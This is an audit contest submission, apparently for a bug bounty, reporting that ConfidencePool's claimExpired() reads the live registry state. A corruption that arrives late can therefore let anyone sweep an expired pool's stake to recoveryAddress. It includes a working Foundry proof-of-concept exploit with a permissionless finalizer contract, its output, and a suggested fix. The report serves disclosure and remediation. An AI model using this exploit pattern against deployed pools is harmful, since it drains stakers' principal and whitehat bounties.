FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Late Registry Corruption Can Take All Funds From an Already Expired Pool

Author Revealed upon completion

Root + Impact

Summary

claimExpired() does not save the registry state that existed when the pool expired. It reads the
current registry state when the first caller resolves the pool.

Because of this, a corruption that happens after the pool term can change an old unresolved pool
from EXPIRED to CORRUPTED. If the corruption happens after expiry + 180 days, any address can
resolve and sweep the pool at once. The moderator gets zero time after the corruption. The staker
can lose all principal and bonus.

Vulnerability Details

When a pool reaches expiry while the agreement is still UNDER_ATTACK, the stakers have covered
the full pool term. If someone calls claimExpired() at that time, the outcome is EXPIRED. The
stakers can then claim their principal and bonus.

However, the contract does not freeze this result at expiry. It waits for the first call to
claimExpired() and reads the live registry state in that call.

The moderator deadline is also based only on the pool expiry:

expiry + MODERATOR_CORRUPTED_GRACE

It is not based on the time when the registry becomes CORRUPTED.

This creates the following path:

  1. Stakers fund Pool A.

  2. Pool A observes UNDER_ATTACK before its expiry.

  3. Pool A reaches expiry while the agreement is still UNDER_ATTACK.

  4. Nobody resolves Pool A, so it stays UNRESOLVED for more than 180 days.

  5. The agreement later becomes CORRUPTED.

  6. Any address calls claimExpired() and claimCorrupted() in the same transaction.

  7. Pool A sends its full balance to recoveryAddress.

The final caller has no protocol role. The call sets mechanical bad-faith CORRUPTED and sets
claimsStarted = true. The moderator can no longer select SURVIVED, classify the event as
good-faith, or name the whitehat.

The issue is more realistic when one agreement has several pools. Pool A may be old and expired,
while Pool B is still active. A corruption inside Pool B's term is valid for Pool B, but the same
registry state also changes Pool A. In the PoC, Pool A sends 125e18 to recovery while Pool B pays
its correct 60e18 good-faith bounty.

Root Cause

The root cause has two parts:

  • claimExpired() uses the live registry state instead of a result fixed at the pool expiry.

  • The moderator grace deadline is fixed at expiry + 180 days, even when CORRUPTED did not exist
    during that period.

The late terminal observation is also capped to expiry. As a result, the contract records a
post-term corruption as if the terminal event happened at the old pool expiry.

Relevant Code

function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
// ...
if (
state == IAttackRegistry.ContractState.CORRUPTED
&& riskWindowStart != 0
) {
// The deadline is based only on the pool expiry.
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
// This blocks all later moderator corrections.
claimsStarted = true;
emit OutcomeFlagged(
address(0),
PoolStates.Outcome.CORRUPTED,
false,
address(0)
);
return;
}
// ...
}
function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) {
revert OutcomeNotSet();
}
uint256 toSweep = stakeToken.balanceOf(address(this));
// The full live balance is sent to recoveryAddress.
stakeToken.safeTransfer(recoveryAddress, toSweep);
}

Why This Is Not the Accepted Backstop

DESIGN.md documents several related choices:

  • Section 2 says that a pool which expires during active risk has survived its full term and should
    resolve as EXPIRED.

  • Section 6 accepts a scope-blind auto-CORRUPTED backstop when the moderator is unavailable for the
    full grace period.

  • Section 13 says that claimExpired() uses the live registry state at the first post-expiry call.

This report does not dispute the general backstop. The problem is the time link between these rules.
The moderator cannot classify a CORRUPTED result before the registry is CORRUPTED. If that state
appears after the expiry-based deadline, the moderator gets zero seconds to act.

The documentation also says that delayed observation should only change bonus distribution and
should not cause principal loss or third-party loss. The PoC shows a different result: all principal
and bonus move to recoveryAddress.

Impact

High Impact

  • The old pool can lose its full live balance. The PoC moves 125e18 to recoveryAddress and the
    old staker receives zero.

  • The roleless finalizer can close the moderator correction window in the same timestamp as the
    corruption.

  • A good-faith whitehat can lose the full bounty because the moderator cannot name the whitehat
    before claimsStarted becomes true.

  • One late agreement corruption can affect several old unresolved pools that share the agreement.

The finalizer does not receive the funds. This report does not claim direct profit for that caller.
The proven impact is full staker loss, value sent to the sponsor-selected recoveryAddress, and
loss of the good-faith bounty.

Low Likelihood

  • The pool must stay unresolved for more than 180 days after expiry.

  • The agreement must remain in active risk and become CORRUPTED after that deadline.

  • Once this state exists, exploitation is simple and permissionless. The finalizer needs no admin,
    moderator, DAO, or sponsor role.

For these reasons, I rate the finding as Medium severity: High Impact and Low Likelihood.

Proof of Concept

The PoC runs on a BattleChain testnet fork at block 16000. It deploys the exact audited
ConfidencePool and ConfidencePoolFactory code. It also uses the same UUPS proxy and clone path as
the project.

The test connects this code to the live SafeHarborRegistry, AttackRegistry, and demo Agreement.
The Agreement is already UNDER_ATTACK at the fork block. Its real attack moderator calls the real
markCorrupted() function as a normal setup actor. A different contract with no protocol role calls
the vulnerable pool functions.

The stake token is a standard ERC20. The PoC does not use vm.store, vm.etch, a fake registry, or
a fake agreement. vm.warp only moves time forward.

The four tests prove:

  1. Late corruption immediately sends the old pool to recovery.

  2. Resolving at expiry protects the staker against the same later corruption.

  3. The permissionless finalizer removes the moderator's good-faith bounty window.

  4. A corruption inside a new pool term also changes an older expired pool.

PoC file:

test/ConfidencePoolPostTermCorruption.t.sol

Full PoC:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract StandardPostTermStakeToken is ERC20 {
constructor() ERC20("Standard stake token", "SST") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract PermissionlessPoolFinalizer {
function finalizeCorrupted(IConfidencePool pool) external {
pool.claimExpired();
pool.claimCorrupted();
}
function resolveExpired(IConfidencePool pool) external {
pool.claimExpired();
}
}
contract ConfidencePoolPostTermCorruptionForkTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant DEMO_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant DEMO_AGREEMENT_OWNER = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant DEMO_SCOPE_ACCOUNT = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
uint256 internal constant FORK_BLOCK = 16000;
uint256 internal constant ONE = 1e18;
uint256 internal constant OLD_STAKE = 100 * ONE;
uint256 internal constant OLD_BONUS = 25 * ONE;
uint256 internal constant NEW_STAKE = 50 * ONE;
uint256 internal constant NEW_BONUS = 10 * ONE;
address internal poolModerator = makeAddr("poolModerator");
address internal oldStaker = makeAddr("oldStaker");
address internal newStaker = makeAddr("newStaker");
address internal bonusContributor = makeAddr("bonusContributor");
address internal recovery = makeAddr("recovery");
address internal whitehat = makeAddr("whitehat");
IAttackRegistry internal attackRegistry = IAttackRegistry(ATTACK_REGISTRY);
ConfidencePoolFactory internal factory;
StandardPostTermStakeToken internal stakeToken;
PermissionlessPoolFinalizer internal finalizer;
function setUp() public {
try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory rpc) {
vm.createSelectFork(rpc, FORK_BLOCK);
} catch {
vm.skip(true);
return;
}
assertEq(block.chainid, 627, "unexpected chain");
assertGt(SAFE_HARBOR_REGISTRY.code.length, 0, "registry code missing");
assertGt(ATTACK_REGISTRY.code.length, 0, "attack registry code missing");
assertGt(DEMO_AGREEMENT.code.length, 0, "agreement code missing");
assertEq(
uint256(attackRegistry.getAgreementState(DEMO_AGREEMENT)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"demo agreement is not under attack at fork block"
);
assertEq(
attackRegistry.getAttackModerator(DEMO_AGREEMENT), DEMO_AGREEMENT_OWNER, "live attack moderator changed"
);
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImplementation), poolModerator)
)
);
factory = ConfidencePoolFactory(address(proxy));
stakeToken = new StandardPostTermStakeToken();
factory.setStakeTokenAllowed(address(stakeToken), true);
finalizer = new PermissionlessPoolFinalizer();
}
function test_lateCorruptionImmediatelyConfiscatesExpiredPool() external {
ConfidencePool oldPool = _createAndFundPool(oldStaker, OLD_STAKE, OLD_BONUS);
uint256 expiryTs = oldPool.expiry();
_warpPastGraceWhileUnderAttack(oldPool);
uint256 corruptedAt = _markCorruptedNow();
uint256 recoveryBefore = stakeToken.balanceOf(recovery);
finalizer.finalizeCorrupted(IConfidencePool(address(oldPool)));
uint256 recovered = stakeToken.balanceOf(recovery) - recoveryBefore;
emit log_named_uint("Pool expiry", expiryTs);
emit log_named_uint("Registry corrupted at", corruptedAt);
emit log_named_uint("Seconds of moderator response after corruption", block.timestamp - corruptedAt);
emit log_named_uint("Expired pool value transferred to recovery", recovered);
assertEq(block.timestamp - corruptedAt, 0, "auto-resolution was not immediate");
assertEq(uint256(oldPool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "wrong late outcome");
assertEq(oldPool.riskWindowEnd(), expiryTs, "late corruption was recorded inside the old pool term");
assertEq(oldPool.outcomeFlaggedAt(), expiryTs, "post-term corruption was not backdated to expiry");
assertEq(recovered, OLD_STAKE + OLD_BONUS, "recovery did not receive old pool");
assertEq(stakeToken.balanceOf(oldStaker), 0, "old staker recovered principal");
assertEq(stakeToken.balanceOf(address(oldPool)), 0, "old pool retained funds");
}
function test_resolvingAtExpiryPreservesStakerPayoutAgainstLaterCorruption() external {
ConfidencePool oldPool = _createAndFundPool(oldStaker, OLD_STAKE, OLD_BONUS);
uint256 expiryTs = oldPool.expiry();
vm.warp(expiryTs);
_assertAgreementUnderAttack("agreement did not survive in active risk until expiry");
finalizer.resolveExpired(IConfidencePool(address(oldPool)));
assertEq(uint256(oldPool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "control did not expire");
vm.warp(expiryTs + oldPool.MODERATOR_CORRUPTED_GRACE() + 1);
_markCorruptedNow();
uint256 stakerBefore = stakeToken.balanceOf(oldStaker);
vm.prank(oldStaker);
oldPool.claimExpired();
uint256 stakerPayout = stakeToken.balanceOf(oldStaker) - stakerBefore;
emit log_named_uint("Staker payout when resolved at expiry", stakerPayout);
assertEq(stakerPayout, OLD_STAKE + OLD_BONUS, "control staker did not receive full payout");
assertEq(uint256(oldPool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "later state rewrote control");
assertEq(stakeToken.balanceOf(recovery), 0, "control transferred funds to recovery");
}
function test_lateCorruptionEliminatesModeratorGoodFaithBountyWindow() external {
ConfidencePool oldPool = _createAndFundPool(oldStaker, OLD_STAKE, OLD_BONUS);
_warpPastGraceWhileUnderAttack(oldPool);
uint256 corruptedAt = _markCorruptedNow();
finalizer.finalizeCorrupted(IConfidencePool(address(oldPool)));
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
vm.prank(poolModerator);
oldPool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
emit log_named_uint("Seconds available to name whitehat", block.timestamp - corruptedAt);
emit log_named_uint("Whitehat bounty received", stakeToken.balanceOf(whitehat));
emit log_named_uint("Value redirected to recovery", stakeToken.balanceOf(recovery));
assertEq(block.timestamp - corruptedAt, 0, "race required post-corruption moderator absence");
assertEq(stakeToken.balanceOf(whitehat), 0, "whitehat received a bounty after finalization");
assertEq(oldPool.bountyEntitlement(), 0, "mechanical path created a bounty");
assertEq(stakeToken.balanceOf(recovery), OLD_STAKE + OLD_BONUS, "recovery did not receive denied bounty");
}
function test_newPoolCorruptionContaminatesOlderUnresolvedPool() external {
ConfidencePool oldPool = _createAndFundPool(oldStaker, OLD_STAKE, OLD_BONUS);
uint256 oldExpiry = oldPool.expiry();
_warpPastGraceWhileUnderAttack(oldPool);
ConfidencePool newPool = _createAndFundPool(newStaker, NEW_STAKE, NEW_BONUS);
assertGt(newPool.expiry(), block.timestamp, "new pool is not active");
assertGt(newPool.riskWindowStart(), oldExpiry, "new pool did not observe its own later risk period");
uint256 corruptedAt = _markCorruptedNow();
vm.prank(poolModerator);
newPool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
uint256 recoveryBefore = stakeToken.balanceOf(recovery);
finalizer.finalizeCorrupted(IConfidencePool(address(oldPool)));
uint256 oldPoolRecovered = stakeToken.balanceOf(recovery) - recoveryBefore;
uint256 whitehatBefore = stakeToken.balanceOf(whitehat);
vm.prank(whitehat);
newPool.claimAttackerBounty();
uint256 newPoolBounty = stakeToken.balanceOf(whitehat) - whitehatBefore;
emit log_named_uint("Old pool expiry", oldExpiry);
emit log_named_uint("Later corruption timestamp", corruptedAt);
emit log_named_uint("Old pool transferred to recovery", oldPoolRecovered);
emit log_named_uint("New active pool good-faith bounty", newPoolBounty);
assertGt(corruptedAt, oldExpiry + oldPool.MODERATOR_CORRUPTED_GRACE(), "old grace had not elapsed");
assertLt(corruptedAt, newPool.expiry(), "corruption was outside new pool term");
assertEq(oldPoolRecovered, OLD_STAKE + OLD_BONUS, "old pool was not contaminated");
assertEq(stakeToken.balanceOf(oldStaker), 0, "old staker recovered principal");
assertEq(newPoolBounty, NEW_STAKE + NEW_BONUS, "new pool did not follow good-faith path");
assertEq(uint256(newPool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "new pool outcome changed");
assertTrue(newPool.goodFaith(), "new pool was not classified good-faith");
}
function _createAndFundPool(address staker, uint256 stakeAmount, uint256 bonusAmount)
internal
returns (ConfidencePool pool)
{
address[] memory scope = new address[](1);
scope[0] = DEMO_SCOPE_ACCOUNT;
vm.prank(DEMO_AGREEMENT_OWNER);
address poolAddress =
factory.createPool(DEMO_AGREEMENT, address(stakeToken), block.timestamp + 31 days, ONE, recovery, scope);
pool = ConfidencePool(poolAddress);
stakeToken.mint(staker, stakeAmount);
vm.startPrank(staker);
stakeToken.approve(poolAddress, stakeAmount);
pool.stake(stakeAmount);
vm.stopPrank();
stakeToken.mint(bonusContributor, bonusAmount);
vm.startPrank(bonusContributor);
stakeToken.approve(poolAddress, bonusAmount);
pool.contributeBonus(bonusAmount);
vm.stopPrank();
assertGt(pool.riskWindowStart(), 0, "pool did not observe live active risk");
assertLt(pool.riskWindowStart(), pool.expiry(), "risk was not observed during pool term");
assertEq(stakeToken.balanceOf(poolAddress), stakeAmount + bonusAmount, "pool funding mismatch");
}
function _warpPastGraceWhileUnderAttack(ConfidencePool pool) internal {
uint256 expiryTs = pool.expiry();
vm.warp(expiryTs);
_assertAgreementUnderAttack("agreement was not attackable at old pool expiry");
vm.warp(expiryTs + pool.MODERATOR_CORRUPTED_GRACE() + 1);
_assertAgreementUnderAttack("approved attack did not persist beyond old pool grace");
}
function _markCorruptedNow() internal returns (uint256 corruptedAt) {
corruptedAt = block.timestamp;
vm.prank(DEMO_AGREEMENT_OWNER);
attackRegistry.markCorrupted(DEMO_AGREEMENT);
assertEq(
uint256(attackRegistry.getAgreementState(DEMO_AGREEMENT)),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"live registry did not become corrupted"
);
}
function _assertAgreementUnderAttack(string memory reason) internal view {
assertEq(
uint256(attackRegistry.getAgreementState(DEMO_AGREEMENT)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
reason
);
}
}

Validation Steps

Pre-requisite

Set the BattleChain RPC variable. Without this variable, the fork test is skipped.

export BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com

Run the PoC

forge test --match-path 'test/ConfidencePoolPostTermCorruption.t.sol' -vvv

Expected Output

[PASS] test_lateCorruptionEliminatesModeratorGoodFaithBountyWindow()
Seconds available to name whitehat: 0
Whitehat bounty received: 0
Value redirected to recovery: 125000000000000000000
[PASS] test_lateCorruptionImmediatelyConfiscatesExpiredPool()
Pool expiry: 1780755616
Registry corrupted at: 1796307617
Seconds of moderator response after corruption: 0
Expired pool value transferred to recovery: 125000000000000000000
[PASS] test_newPoolCorruptionContaminatesOlderUnresolvedPool()
Old pool expiry: 1780755616
Later corruption timestamp: 1796307617
Old pool transferred to recovery: 125000000000000000000
New active pool good-faith bounty: 60000000000000000000
[PASS] test_resolvingAtExpiryPreservesStakerPayoutAgainstLaterCorruption()
Staker payout when resolved at expiry: 125000000000000000000
Suite result: ok. 4 passed; 0 failed; 0 skipped.

Causal Difference

The positive and negative tests use the same funded pool and the same registry lifecycle. The only
important difference is when the old pool is first resolved:

Resolve at expiry while UNDER_ATTACK -> EXPIRED -> staker receives 125e18
Resolve after late CORRUPTED -> CORRUPTED -> recovery receives 125e18

Tools Used

  • Manual code review

  • Foundry

  • BattleChain testnet fork

  • Live Safe Harbor registry contracts

Recommended Mitigation

The safest fix is to use the real time when the agreement became CORRUPTED.

The registry should store and expose a timestamp such as corruptedAt. Then claimExpired() should
only use automatic CORRUPTED when the corruption happened during the pool term:

uint256 corruptedAt = attackRegistry.getCorruptedAt(agreement);
bool corruptedDuringPoolTerm = corruptedAt != 0 && corruptedAt <= expiry;
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (!corruptedDuringPoolTerm) {
// A corruption after expiry must not change the old pool.
outcome = PoolStates.Outcome.EXPIRED;
} else {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
// Existing automatic CORRUPTED logic.
}
}
// Keep the existing PRODUCTION and non-terminal branches unchanged.

This keeps the current backstop for a corruption that happened inside the pool term. It also stops a
future corruption from changing an old pool.

If the registry cannot provide a trusted corruption timestamp, the pool cannot safely prove that a
late CORRUPTED state belongs to its term. In that case, the contract should not automatically apply
that state to an expired pool. It should keep the staker-safe EXPIRED result or require a moderator
decision for the late case.

A local corruptedObservedAt value can give the moderator a real response period, but it does not
prove when the corruption happened. If this extra timestamp is added, the contract must save it in a
successful transaction. It must not write the value and then revert, because the revert would remove
the timestamp.

Notes for Triage

  • The risk window in this PoC starts normally before expiry. The issue does not depend on a
    post-expiry pokeRiskWindow() call.

  • The real attack moderator is only a setup actor. The harmful finalizer has no protocol role.

  • The finalizer receives no tokens. The proven impact is the loss of the old staker funds and the
    whitehat bounty.

  • The pool must stay unresolved for more than 180 days, so Medium is more accurate than High.

  • The report covers one root cause: lazy expiry resolution against a future registry state combined
    with an expiry-based moderator deadline.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!